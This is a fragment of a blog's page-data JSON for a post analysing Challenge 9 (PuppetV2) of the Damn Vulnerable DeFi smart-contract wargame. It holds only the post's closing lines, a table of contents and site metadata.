2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>next time.. 🚀</h2>\n<p>I will continue to post auditing and research on 12 challenge defi Smart Contracts.</p>\n<p>Thank you for the @tinchoabbate that made a good wargame.\n<a href=\"https://www.damnvulnerabledefi.xyz/\">Damn Vunlerable Defi</a></p>\n<div class=\"table-of-contents\">\n<ul>\n<li>\n<p><a href=\"#transaction-flow\">Transaction Flow</a></p>\n<ul>\n<li><a href=\"#dependency-pattern\">Dependency Pattern</a></li>\n<li><a href=\"#setup-flow\">Setup flow</a></li>\n<li><a href=\"#interface\">Interface</a></li>\n<li><a href=\"#state-variable--event\">State Variable &#x26;&#x26; Event</a></li>\n<li><a href=\"#functions\">Functions</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#next-time-\">next time.. 🚀</a></p>\n</li>\n</ul>\n</div>","frontmatter":{"date":"August 10, 2022","title":"Damn Vulnerable DeFi Wargame Challenge9 — PuppetV2 Contract Analysis 🍘","categories":"Blockchain","author":"Zer0Luck","emoji":"🫘"},"fields":{"slug":"/defi-wargame-9/"}},"site":{"siteMetadata":{"siteUrl":"https://zer0luck.kr","comments":{"utterances":{"repo":"dnsdudrla97/dnsdudrla97.github.io"}}}}},"pageContext":{"slug":"/defi-wargame-8/","nextSlug":"/uniswap-contract-event-graph/","prevSlug":"/defi-wargame-9/"}},
    "staticQueryHashes": ["1073350324","1956554647","2938748437"]}